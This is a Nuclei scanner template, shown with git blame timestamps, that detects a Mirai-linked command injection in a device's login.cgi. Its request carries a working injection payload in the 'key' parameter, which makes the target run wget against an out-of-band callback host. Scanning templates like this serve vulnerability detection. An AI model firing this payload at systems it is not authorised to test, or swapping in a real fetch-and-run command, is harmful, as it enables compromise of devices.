2021-07-18 13:44:29 +00:00
|
|
|
id: mirai-unknown-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Mirai Unknown - Remote Code Execution
|
|
|
|
author: gy741
|
|
|
|
severity: critical
|
|
|
|
description: The unknown exploit targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-07-18 13:44:29 +00:00
|
|
|
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
|
2021-10-18 20:40:26 +00:00
|
|
|
tags: mirai,rce,oast
|
2021-07-18 13:44:29 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /cgi-bin/login.cgi HTTP/1.1
|
2021-09-30 16:52:05 +00:00
|
|
|
Host: {{Hostname}}
|
2021-07-18 13:44:29 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
key=';`wget http://{{interactsh-url}}`;#
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
|
|
words:
|
|
|
|
- "http"
|